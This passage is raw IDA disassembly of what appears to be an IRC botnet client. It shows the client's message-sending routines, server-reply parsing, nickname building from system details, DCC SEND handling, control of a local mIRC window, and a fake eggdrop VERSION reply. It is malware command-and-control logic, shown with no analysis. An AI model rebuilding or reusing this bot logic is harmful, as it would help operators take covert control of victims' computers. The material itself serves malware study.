... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_4108B0 push [ebp+arg_0] lea eax, [ebp+var_1000] push offset aPrivmsgS ; "PRIVMSG %s :" push eax call sub_410844 ; sprintf lea ecx, [ebp+arg_8] push ecx mov ecx, 1000h push [ebp+arg_4] sub ecx, eax lea eax, [ebp+eax+var_1000] push ecx push eax call sub_410B00 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_412214 ; "\r\n" push eax call sub_410856 ; _mbscat lea eax, [ebp+var_1000] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_4186D4 call sub_403D54 add esp, 34h leave retn sub_408CDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D50 proc near ; CODE XREF: sub_4011C4+4Cp ; sub_4011C4+21Bp ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_4108B0 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+198h], 0 jnz loc_408E5D mov eax, [esi+121h] push edi cmp eax, 1 jnz short loc_408D85 lea eax, [esi+21h] push eax push offset aNoticeS ; "NOTICE %s :" jmp short loc_408DAA ; --------------------------------------------------------------------------- loc_408D85: ; CODE XREF: sub_408D50+28j cmp eax, 2 jnz short loc_408D95 lea eax, [esi+21h] push eax push offset dword_413EFC jmp short loc_408DAA ; --------------------------------------------------------------------------- loc_408D95: ; CODE XREF: sub_408D50+38j cmp eax, 3 lea eax, [esi+21h] push eax jnz short loc_408DA5 push offset dword_413EEC jmp short loc_408DAA ; --------------------------------------------------------------------------- loc_408DA5: ; CODE XREF: sub_408D50+4Cj push offset aPrivmsgS ; "PRIVMSG %s :" loc_408DAA: ; CODE XREF: sub_408D50+33j ; sub_408D50+43j ... lea eax, [ebp+var_1000] push eax call sub_410844 ; sprintf add esp, 0Ch cmp dword ptr [esi+19Fh], 0 mov edi, eax jz short loc_408DE7 mov eax, [esi+121h] cmp eax, 2 jz short loc_408DD4 cmp eax, 3 jnz short loc_408DE7 loc_408DD4: ; CODE XREF: sub_408D50+7Dj lea eax, [ebp+var_1000] push offset dword_413EE0 push eax call sub_410856 ; _mbscat pop ecx pop ecx loc_408DE7: ; CODE XREF: sub_408D50+72j ; sub_408D50+82j lea eax, [ebp+arg_8] push eax mov eax, 1000h push [ebp+arg_4] sub eax, edi push eax lea eax, [ebp+edi+var_1000] push eax call sub_410B00 ; _vsnprintf mov esi, [esi+121h] add esp, 10h cmp esi, 2 pop edi jz short loc_408E17 cmp esi, 3 jnz short loc_408E2A loc_408E17: ; CODE XREF: sub_408D50+C0j lea eax, [ebp+var_1000] push offset dword_413EDC push eax call sub_410856 ; _mbscat pop ecx pop ecx loc_408E2A: ; CODE XREF: sub_408D50+C5j lea eax, [ebp+var_1000] push offset asc_412214 ; "\r\n" push eax call sub_410856 ; _mbscat lea eax, [ebp+var_1000] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_4186D4 call sub_403D54 add esp, 18h loc_408E5D: ; CODE XREF: sub_408D50+18j pop esi leave retn sub_408D50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E60 proc near ; CODE XREF: sub_40287C:loc_402A05p ; sub_404BC3+D8p ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_4108B0 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_1000] push [ebp+arg_0] push 1000h push eax call sub_410B00 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_412214 ; "\r\n" push eax call sub_410856 ; _mbscat lea eax, [ebp+var_1000] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_4186D4 call sub_403D54 add esp, 28h leave retn sub_408E60 endp ; =============== S U B R O U T I N E ======================================= sub_408EBA proc near ; CODE XREF: sub_408EC8+Bp push 0 push offset aMirc ; "mIRC" call ds:dword_4111F8 ; FindWindowA retn sub_408EBA endp ; =============== S U B R O U T I N E ======================================= sub_408EC8 proc near ; CODE XREF: sub_40735A+108Ep var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push esi push edi xor edi, edi cmp [esp+0Ch+arg_0], edi jz short loc_408F48 call sub_408EBA mov esi, eax cmp esi, edi mov [esp+0Ch+var_4], esi jz short loc_408F48 push ebx push ebp push offset aMirc ; "mIRC" push 1000h push edi push 4 push edi push 0FFFFFFFFh call ds:dword_4110C8 ; CreateFileMappingA push edi push edi mov ebx, eax push edi push 0F001Fh push ebx call ds:dword_4110C4 ; MapViewOfFile push [esp+14h+arg_0] mov ebp, eax push ebp call sub_410844 ; sprintf pop ecx pop ecx push edi push 1 push 4C8h push esi mov esi, ds:dword_4111FC call esi ; SendMessageA push edi push 1 push 4C9h push [esp+20h+var_4] call esi ; SendMessageA push ebp call ds:dword_4110C0 ; UnmapViewOfFile push ebx call ds:dword_4110AC ; CloseHandle pop ebp pop ebx loc_408F48: ; CODE XREF: sub_408EC8+9j ; sub_408EC8+18j pop edi pop esi pop ecx retn sub_408EC8 endp ; =============== S U B R O U T I N E ======================================= sub_408F4C proc near ; CODE XREF: sub_40735A+B9p ; sub_4088FC+144p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp push edi push ebx call sub_410826 ; strlen mov ebp, eax xor edi, edi test ebp, ebp pop ecx jle short loc_408F99 push esi loc_408F63: ; CODE XREF: sub_408F4C+4Aj mov al, [edi+ebx] lea esi, [edi+ebx] cmp al, 23h jnz short loc_408F73 push 39h push 30h jmp short loc_408F8A ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_408F4C+1Fj cmp al, 3Fh jnz short loc_408F93 call sub_40AB30 test eax, eax jz short loc_408F86 push 7Ah push 61h jmp short loc_408F8A ; --------------------------------------------------------------------------- loc_408F86: ; CODE XREF: sub_408F4C+32j push 5Ah push 41h loc_408F8A: ; CODE XREF: sub_408F4C+25j ; sub_408F4C+38j call sub_40AADE pop ecx mov [esi], al pop ecx loc_408F93: ; CODE XREF: sub_408F4C+29j inc edi cmp edi, ebp jl short loc_408F63 pop esi loc_408F99: ; CODE XREF: sub_408F4C+14j pop edi pop ebp pop ebx retn sub_408F4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F9D proc near ; CODE XREF: sub_4098BB+1C4p var_338 = byte ptr -338h var_2BC = byte ptr -2BCh var_260 = byte ptr -260h var_23F = byte ptr -23Fh var_1BC = byte ptr -1BCh var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_13F = dword ptr -13Fh var_13B = byte ptr -13Bh var_C1 = dword ptr -0C1h var_BC = byte ptr -0BCh var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 338h push ebx push esi mov esi, [ebp+arg_C] push edi push offset aPing ; "PING" push dword ptr [esi] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408FD0 push dword ptr [esi+4] push offset aPongS ; "PONG %s" loc_408FC6: ; CODE XREF: sub_408F9D+39Ej ; sub_408F9D+3FCj ... call sub_408E60 jmp loc_40943F ; --------------------------------------------------------------------------- loc_408FD0: ; CODE XREF: sub_408F9D+1Fj push offset aPong ; "PONG" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_4098B6 push offset aMode ; "MODE" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_4098B6 push offset aPrivmsg ; "PRIVMSG" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_4091DA mov eax, [esi+0Ch] xor edi, edi cmp eax, edi jz loc_4091DC cmp byte ptr [eax+1], 1 jnz loc_4091DC push offset dword_413FF0 push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_40913E mov eax, [esi+10h] cmp eax, edi jz loc_40913E push offset aSend ; "SEND" push eax call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_40913E cmp [ebp+arg_0], edi jz loc_40913E mov ecx, [esi+14h] cmp ecx, edi jz loc_4098B6 cmp [esi+18h], edi jz loc_4098B6 cmp [esi+1Ch], edi jz loc_4098B6 mov eax, [esi+20h] cmp eax, edi jz loc_4098B6 cmp byte ptr [ecx], 22h jz loc_4098B6 push eax call sub_410826 ; strlen mov ecx, [esi+20h] push [ebp+arg_4] and byte ptr [eax+ecx], 0 lea eax, [ebp+var_260] push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_23F] push offset dword_4177EC push eax call sub_410820 ; _mbscpy push 7Ah lea eax, [ebp+var_13B] push edi push eax mov [ebp+var_13F], edi call sub_410850 ; memset push dword ptr [esi+18h] mov [ebp+var_C1], 1 call sub_41088C ; atoi movzx ecx, al add esp, 24h push ecx mov ecx, eax shr ecx, 8 movzx ecx, cl push ecx mov ecx, eax shr ecx, 10h movzx ecx, cl shr eax, 18h push ecx push eax lea eax, [ebp+var_2C] push offset dword_412A58 push eax call sub_410844 ; sprintf push dword ptr [esi+20h] lea eax, [ebp+var_2C] push dword ptr [esi+1Ch] push eax lea eax, [ebp+var_260] push dword ptr [esi+14h] push [ebp+arg_4] push eax call sub_401EA8 add esp, 30h jmp loc_4098B6 ; --------------------------------------------------------------------------- loc_40913E: ; CODE XREF: sub_408F9D+9Ej ; sub_408F9D+A9j ... push offset dword_413FDC push dword ptr [esi+0Ch] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_40919E push offset dword_413FD0 push dword ptr [esi+0Ch] call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jz short loc_40919E push offset dword_413FC8 push dword ptr [esi+0Ch] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_409189 push offset dword_413FC0 push dword ptr [esi+0Ch] call ds:dword_411110 ; lstrcmp test eax, eax jnz short loc_4091DC loc_409189: ; CODE XREF: sub_408F9D+1D8j mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_408C6C jmp loc_40943F ; --------------------------------------------------------------------------- loc_40919E: ; CODE XREF: sub_408F9D+1B2j ; sub_408F9D+1C5j cmp [ebp+arg_0], edi jz short loc_4091C3 push offset dword_41796C push 398h push edi push offset dword_413F9C push [ebp+arg_4] call sub_408C6C add esp, 14h jmp loc_4098B6 ; --------------------------------------------------------------------------- loc_4091C3: ; CODE XREF: sub_408F9D+204j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_413F7C push [ebp+arg_4] call sub_408C6C jmp loc_4094D1 ; --------------------------------------------------------------------------- loc_4091DA: ; CODE XREF: sub_408F9D+72j xor edi, edi loc_4091DC: ; CODE XREF: sub_408F9D+7Fj ; sub_408F9D+89j ... push offset a433 ; "433" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409340 call sub_40639B xor edx, edx mov ecx, 15180h div ecx cmp eax, 4 mov [ebp+arg_10], eax jnb short loc_409243 call sub_404691 test eax, eax jnz short loc_409243 lea eax, [ebp+var_BC] push offset loc_4177DC push eax call sub_410820 ; _mbscpy lea eax, [ebp+var_BC] push eax call sub_40AC4E lea eax, [ebp+var_BC] push eax call sub_408F4C add esp, 10h jmp loc_40932F ; --------------------------------------------------------------------------- loc_409243: ; CODE XREF: sub_408F9D+26Aj ; sub_408F9D+273j call sub_4045E4 lea eax, [ebp+var_3C] push eax call sub_40587E test eax, eax pop ecx jnz short loc_409266 lea eax, [ebp+var_3C] push offset aUnk ; "UNK" push eax call sub_410820 ; _mbscpy pop ecx pop ecx loc_409266: ; CODE XREF: sub_408F9D+2B7j call sub_406096 mov ecx, 400h cmp eax, ecx jbe short loc_40927B call sub_406096 jmp short loc_40927D ; --------------------------------------------------------------------------- loc_40927B: ; CODE XREF: sub_408F9D+2D5j mov eax, ecx loc_40927D: ; CODE XREF: sub_408F9D+2DCj shr eax, 0Ah mov [ebp+arg_4], eax call sub_405C57 cmp eax, 3E8h mov ebx, offset aB ; "B" jnb short loc_409299 mov ebx, offset aA ; "A" loc_409299: ; CODE XREF: sub_408F9D+2F5j cmp eax, 1F4h jnb short loc_4092A5 mov ebx, offset aG ; "G" loc_4092A5: ; CODE XREF: sub_408F9D+301j push 24h xor eax, eax pop ecx lea edi, [ebp+var_14C] mov [ebp+var_150], 94h xor esi, esi rep stosd lea eax, [ebp+var_150] push eax call ds:dword_411034 ; GetVersionExA cmp [ebp+var_14C], 5 jnz short loc_4092E0 cmp [ebp+var_148], 1 jnz short loc_4092E0 push 1 pop esi loc_4092E0: ; CODE XREF: sub_408F9D+335j ; sub_408F9D+33Ej push 5Ah push 41h call sub_40AADE pop ecx pop ecx push eax push 5Ah push 41h call sub_40AADE pop ecx pop ecx test esi, esi push eax setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push ebx push [ebp+arg_4] lea eax, [ebp+var_3C] push 5Dh push [ebp+arg_10] push 5Bh push 5Dh push eax push 5Bh lea eax, [ebp+var_BC] push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" push eax call sub_410844 ; sprintf add esp, 34h loc_40932F: ; CODE XREF: sub_408F9D+2A1j lea eax, [ebp+var_BC] push eax push offset dword_413DA8 jmp loc_408FC6 ; --------------------------------------------------------------------------- loc_409340: ; CODE XREF: sub_408F9D+250j push offset aError ; "ERROR" push dword ptr [esi] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40935F push edi push edi push edi call sub_408BA7 jmp loc_4094D1 ; --------------------------------------------------------------------------- loc_40935F: ; CODE XREF: sub_408F9D+3B3j push offset aJoin ; "JOIN" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx mov edi, offset byte_418B78 test eax, eax pop ecx jnz short loc_40939E push edi push [ebp+arg_4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40939E mov eax, [esi+8] test eax, eax jz short loc_40939E cmp byte ptr [eax], 3Ah jnz short loc_409393 inc eax loc_409393: ; CODE XREF: sub_408F9D+3F3j push eax push offset aModeSSmntu ; "MODE %s +smntu" jmp loc_408FC6 ; --------------------------------------------------------------------------- loc_40939E: ; CODE XREF: sub_408F9D+3D8j ; sub_408F9D+3E7j ... push offset a001 ; "001" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409446 push 21h lea eax, [ebp+var_3C] push dword ptr [esi+8] push eax call sub_41083E ; strncpy lea eax, [ebp+var_3C] push eax push edi call sub_410820 ; _mbscpy add esp, 14h lea eax, [ebp+var_3C] push eax push offset aModeSXi ; "MODE %s +xi" call sub_408E60 pop ecx pop ecx push offset dword_418A78 push offset dword_4177EC push offset dword_413A9C call sub_408E60 add esp, 0Ch lea eax, [ebp+var_1BC] push eax call sub_40882C push eax call sub_403443 pop ecx test eax, eax pop ecx jz short loc_409420 lea eax, [ebp+var_1BC] push eax call sub_403201 test eax, eax pop ecx jz short loc_40942E loc_409420: ; CODE XREF: sub_408F9D+470j lea eax, [ebp+var_3C] push eax push offset aUserhostS ; "USERHOST %s" jmp loc_408FC6 ; --------------------------------------------------------------------------- loc_40942E: ; CODE XREF: sub_408F9D+481j lea eax, [ebp+var_1BC] push eax push offset dword_418C78 loc_40943A: ; CODE XREF: sub_408F9D+571j call sub_410820 ; _mbscpy loc_40943F: ; CODE XREF: sub_408F9D+2Ej ; sub_408F9D+1FCj ... pop ecx pop ecx jmp loc_4098B6 ; --------------------------------------------------------------------------- loc_409446: ; CODE XREF: sub_408F9D+412j push offset a451 ; "451" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409463 push eax push 1 call sub_4088FC jmp short loc_40943F ; --------------------------------------------------------------------------- loc_409463: ; CODE XREF: sub_408F9D+4BAj push offset a302 ; "302" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4094D9 mov esi, [esi+0Ch] test esi, esi jz loc_4098B6 push offset a@ ; "@" push esi call sub_410898 ; strstr pop ecx test eax, eax pop ecx jz loc_4098B6 mov esi, 100h lea ebx, [eax+1] push esi mov edi, offset dword_418C78 push ebx push edi call sub_4052A6 lea eax, [ebp+var_1BC] push eax push ebx call sub_403585 add esp, 14h test al, al jz loc_4098B6 lea eax, [ebp+var_1BC] push esi push eax push edi call sub_4052A6 loc_4094D1: ; CODE XREF: sub_408F9D+238j ; sub_408F9D+3BDj add esp, 0Ch jmp loc_4098B6 ; --------------------------------------------------------------------------- loc_4094D9: ; CODE XREF: sub_408F9D+4D7j push offset aNick ; "NICK" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409513 cmp [esi+8], eax jz loc_4098B6 push edi push [ebp+arg_4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_4098B6 mov eax, [esi+8] inc eax push eax push edi jmp loc_40943A ; --------------------------------------------------------------------------- loc_409513: ; CODE XREF: sub_408F9D+54Dj push offset a332 ; "332" push dword ptr [esi+4] call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jnz loc_4095FB mov edi, [ebp+arg_10] mov eax, [edi+10h] test eax, eax jz loc_4098B6 mov dl, [eax+1] lea ecx, [eax+1] test dl, dl jz loc_4098B6 cmp dl, 3Dh jnz short loc_409591 add eax, 2 push ecx push eax call sub_409AD3 push eax mov eax, [edi+10h] inc eax push eax call sub_409EB3 mov ebx, eax mov eax, [edi+10h] inc eax push ebx push eax call sub_409E33 mov eax, [edi+14h] add esp, 18h test eax, eax jz short loc_409589 push eax mov eax, [edi+10h] lea eax, [eax+ebx+1] push eax call sub_410820 ; _mbscpy pop ecx pop ecx jmp short loc_409591 ; --------------------------------------------------------------------------- loc_409589: ; CODE XREF: sub_408F9D+5D8j mov eax, [edi+10h] and byte ptr [eax+ebx+1], 0 loc_409591: ; CODE XREF: sub_408F9D+5ACj ; sub_408F9D+5EAj mov edi, [edi+10h] cmp byte ptr [edi+1], 0 lea eax, [edi+1] jz loc_4098B6 lea ecx, [ebp+arg_4] mov edi, offset asc_413F20 ; "][" push ecx push edi push eax call sub_405733 add esp, 0Ch loc_4095B4: ; CODE XREF: sub_408F9D+65Cj test eax, eax jz loc_4098B6 loc_4095BC: ; CODE XREF: sub_408F9D+625j cmp byte ptr [eax], 20h jnz short loc_4095C4 inc eax jmp short loc_4095BC ; --------------------------------------------------------------------------- loc_4095C4: ; CODE XREF: sub_408F9D+622j push eax lea eax, [ebp+var_2BC] push dword ptr [esi+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h push eax call sub_41089E ; _snprintf lea eax, [ebp+var_2BC] push eax call sub_4098BB lea eax, [ebp+arg_4] push eax push edi push 0 call sub_405733 add esp, 24h jmp short loc_4095B4 ; --------------------------------------------------------------------------- loc_4095FB: ; CODE XREF: sub_408F9D+587j cmp [ebp+arg_0], 0 jz loc_4098B6 cmp dword ptr [esi+8], 0 jz loc_4098B6 cmp dword ptr [esi+0Ch], 0 lea ebx, [esi+0Ch] jz loc_4098B6 push offset byte_418B78 push [ebp+arg_4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_4098B6 mov eax, [ebp+arg_10] inc dword ptr [ebx] add eax, 0Ch push offset aPrivmsg ; "PRIVMSG" mov [ebp+var_14], eax inc dword ptr [eax] push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx pop ecx push 3 test eax, eax pop edi jnz short loc_40966C mov eax, [ebx] cmp byte ptr [eax], 1 jz short loc_40968A mov eax, [esi+8] and [ebp+var_4], 0 mov [ebp+arg_0], eax jmp loc_409718 ; --------------------------------------------------------------------------- loc_40966C: ; CODE XREF: sub_408F9D+6B7j push offset aNotice ; "NOTICE" push dword ptr [esi+4] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_4098B6 mov eax, [ebx] cmp byte ptr [eax], 1 jnz short loc_4096CF loc_40968A: ; CODE XREF: sub_408F9D+6BEj mov ecx, [ebp+arg_4] inc eax mov [ebx], eax mov eax, [ebp+var_14] mov [ebp+var_4], edi xor edi, edi inc dword ptr [eax] cmp [esi], edi mov [ebp+arg_0], ecx jz short loc_4096F8 mov [ebp+arg_C], esi loc_4096A4: ; CODE XREF: sub_408F9D+72Ej cmp edi, 0Fh jz short loc_4096F8 mov eax, [ebp+arg_C] push dword ptr [eax] call sub_410826 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx] cmp byte ptr [ecx+eax-1], 1 jz short loc_4096DE add [ebp+arg_C], 4 inc edi mov eax, [ebp+arg_C] cmp dword ptr [eax], 0 jnz short loc_4096A4 jmp short loc_4096F8 ; --------------------------------------------------------------------------- loc_4096CF: ; CODE XREF: sub_408F9D+6EBj mov eax, [esi+8] mov [ebp+var_4], 1 mov [ebp+arg_0], eax jmp short loc_409718 ; --------------------------------------------------------------------------- loc_4096DE: ; CODE XREF: sub_408F9D+721j mov ecx, edi shl ecx, 2 mov edx, [ecx+esi] and byte ptr [edx+eax-1], 0 mov edx, [ebp+arg_10] mov ecx, [ecx+edx] and byte ptr [ecx+eax-1], 0 jmp short loc_409718 ; --------------------------------------------------------------------------- loc_4096F8: ; CODE XREF: sub_408F9D+702j ; sub_408F9D+70Aj ... mov eax, [ebp+arg_10] shl edi, 2 push dword ptr [edi+eax] call sub_410826 ; strlen pop ecx mov ecx, [edi+esi] cmp byte ptr [ecx+eax-1], 1 lea eax, [ecx+eax-1] jnz short loc_409718 mov byte ptr [eax], 1 loc_409718: ; CODE XREF: sub_408F9D+6CAj ; sub_408F9D+73Fj ... push offset byte_418B78 push [ebp+arg_0] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409731 mov eax, [ebp+arg_4] mov [ebp+arg_0], eax loc_409731: ; CODE XREF: sub_408F9D+78Cj push 7Ah lea eax, [ebp+var_338] push 0 push eax call sub_410850 ; memset mov eax, [ebp+arg_10] and [ebp+arg_C], 0 mov edi, [eax] push edi mov [ebp+var_18], edi call sub_410826 ; strlen add esp, 10h cmp eax, 3 mov [ebp+var_10], eax jb loc_409807 loc_409762: ; CODE XREF: sub_408F9D+7FFj mov cl, [eax+edi-1] cmp cl, 20h jnz short loc_40976E dec eax jmp short loc_409796 ; --------------------------------------------------------------------------- loc_40976E: ; CODE XREF: sub_408F9D+7CCj cmp byte ptr [eax+edi-3], 20h jnz short loc_40979E cmp byte ptr [eax+edi-2], 2Dh jnz short loc_40979E cmp cl, 7Ah jg short loc_40979E movsx ecx, cl mov [ebp+arg_C], 1 sub eax, 3 mov [ebp+ecx+var_338], 1 loc_409796: ; CODE XREF: sub_408F9D+7CFj cmp eax, 3 mov [ebp+var_10], eax jnb short loc_409762 loc_40979E: ; CODE XREF: sub_408F9D+7D6j ; sub_408F9D+7DDj ... cmp [ebp+arg_C], 0 jz short loc_409807 mov edi, [ebp+arg_10] and [ebp+var_C], 0 mov [ebp+var_8], esi sub [ebp+var_8], edi loc_4097B1: ; CODE XREF: sub_408F9D+868j mov eax, [edi] test eax, eax jz short loc_409807 mov ecx, [ebp+var_10] mov edx, [ebp+var_18] add ecx, edx cmp eax, ecx jb short loc_4097FB xor ecx, ecx cmp [ebp+arg_C], ecx jz short loc_4097E8 cmp [ebp+var_C], ecx jz short loc_4097E5 mov eax, [ebp+var_8] push dword ptr [eax+edi-4] call sub_410826 ; strlen pop ecx mov ecx, [edi-4] and byte ptr [eax+ecx], 0 xor ecx, ecx loc_4097E5: ; CODE XREF: sub_408F9D+830j mov [ebp+arg_C], ecx loc_4097E8: ; CODE XREF: sub_408F9D+82Bj mov eax, [edi] and byte ptr [eax], 0 mov eax, [ebp+var_8] add eax, edi mov edx, [eax] and byte ptr [edx], 0 mov [edi], ecx mov [eax], ecx loc_4097FB: ; CODE XREF: sub_408F9D+824j inc [ebp+var_C] add edi, 4 cmp [ebp+var_C], 10h jb short loc_4097B1 loc_409807: ; CODE XREF: sub_408F9D+7BFj ; sub_408F9D+805j ... mov edi, offset byte_418B78 push edi push dword ptr [esi+8] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409821 push [ebp+var_14] push ebx jmp short loc_40989B ; --------------------------------------------------------------------------- loc_409821: ; CODE XREF: sub_408F9D+87Cj add esi, 10h cmp dword ptr [esi], 0 jz loc_4098B6 push offset asc_413F14 ; "*" push dword ptr [ebx] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_409893 push dword ptr [ebx] push edi call sub_4071EF pop ecx test al, al pop ecx jnz short loc_409893 push dword ptr [ebx] call sub_410826 ; strlen cmp eax, 4 pop ecx ja short loc_4098B6 mov edi, [ebx] push edi call sub_410826 ; strlen cmp byte ptr [eax+edi-1], 25h pop ecx jnz short loc_4098B6 push edi call sub_410826 ; strlen mov ecx, [ebx] and byte ptr [eax+ecx-1], 0 call sub_40AB05 push 64h xor edx, edx pop ecx div ecx push dword ptr [ebx] mov edi, edx inc edi call sub_41088C ; atoi pop ecx cmp eax, edi pop ecx jl short loc_4098B6 loc_409893: ; CODE XREF: sub_408F9D+8A0j ; sub_408F9D+8AEj mov eax, [ebp+arg_10] add eax, 10h push eax push esi loc_40989B: ; CODE XREF: sub_408F9D+882j lea eax, [ebp+var_338] push eax push [ebp+var_4] push [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_4] call sub_40735A add esp, 1Ch loc_4098B6: ; CODE XREF: sub_408F9D+44j ; sub_408F9D+5Bj ... pop edi pop esi pop ebx leave retn sub_408F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098BB proc near ; CODE XREF: sub_408406+70p ; sub_408F9D+648p ... var_1184 = byte ptr -1184h var_184 = byte ptr -184h var_105 = byte ptr -105h var_104 = byte ptr -104h var_85 = byte ptr -85h var_84 = byte ptr -84h var_78 = dword ptr -78h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1184h call sub_4108B0 push ebx lea eax, [ebp+var_84] push 10h push eax lea eax, [ebp+var_44] xor ebx, ebx push eax lea eax, [ebp+var_1184] push eax mov [ebp+var_4], ebx push [ebp+arg_0] call sub_4051D2 push offset a302 ; "302" push [ebp+var_40] call sub_410C94 ; _strcmpi add esp, 1Ch neg eax sbb eax, eax inc eax cmp [ebp+var_44], ebx mov dword_4186DC, eax jz loc_409A89 cmp [ebp+var_40], ebx jz loc_409A89 push esi push edi push offset aPrivmsg ; "PRIVMSG" push [ebp+var_40] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_40993E push offset aNotice ; "NOTICE" push [ebp+var_40] call sub_410C94 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4099B0 loc_40993E: ; CODE XREF: sub_4098BB+6Ej mov eax, [ebp+var_38] cmp eax, ebx jz short loc_4099B0 cmp [ebp+var_34], ebx jnz short loc_4099B0 cmp byte ptr [eax], 3Ah jnz short loc_4099B0 cmp byte ptr [eax+1], 3Dh jnz short loc_4099B0 add eax, 2 cmp byte ptr [eax], 0 jz short loc_4099B0 push eax call sub_409C55 test eax, eax pop ecx jz short loc_4099B0 mov eax, [ebp+var_38] lea ecx, [eax+1] add eax, 2 push ecx push eax call sub_409AD3 push eax mov eax, [ebp+var_38] inc eax push eax call sub_409EB3 mov esi, eax mov eax, [ebp+var_38] inc eax push esi push eax call sub_409E33 mov eax, [ebp+var_38] push 0Dh and byte ptr [esi+eax+1], 0 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_38] push eax push [ebp+var_78] push [ebp+var_38] call sub_4051D2 add esp, 2Ch loc_4099B0: ; CODE XREF: sub_4098BB+81j ; sub_4098BB+88j ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_44] call sub_410AEE ; strcmp pop ecx test eax, eax pop ecx jz short loc_409A0E cmp off_4177AC, ebx jz short loc_409A15 mov esi, offset off_4177AC mov edi, esi loc_4099D2: ; CODE XREF: sub_4098BB+142j push dword ptr [edi] call sub_40AC4E mov eax, [ebp+var_44] push dword ptr [edi] inc eax push eax call sub_407187 add esp, 0Ch test al, al jnz short loc_409A01 push dword ptr [esi] call sub_40AC15 add esi, 4 inc ebx pop ecx mov edi, esi cmp dword ptr [esi], 0 jnz short loc_4099D2 jmp short loc_409A15 ; --------------------------------------------------------------------------- loc_409A01: ; CODE XREF: sub_4098BB+12Fj push off_4177AC[ebx*4] call sub_40AC15 pop ecx loc_409A0E: ; CODE XREF: sub_4098BB+106j mov [ebp+var_4], 1 loc_409A15: ; CODE XREF: sub_4098BB+10Ej ; sub_4098BB+144j push 1 lea esi, [ebp+var_184] xor edi, edi pop eax dec esi loc_409A21: ; CODE XREF: sub_4098BB+198j mov ecx, [ebp+var_44] add ecx, eax cmp byte ptr [ecx], 21h jnz short loc_409A36 and [ebp+eax+var_105], 0 push 1 pop edi loc_409A36: ; CODE XREF: sub_4098BB+16Ej test edi, edi jnz short loc_409A43 mov dl, [ecx] mov [ebp+eax+var_105], dl 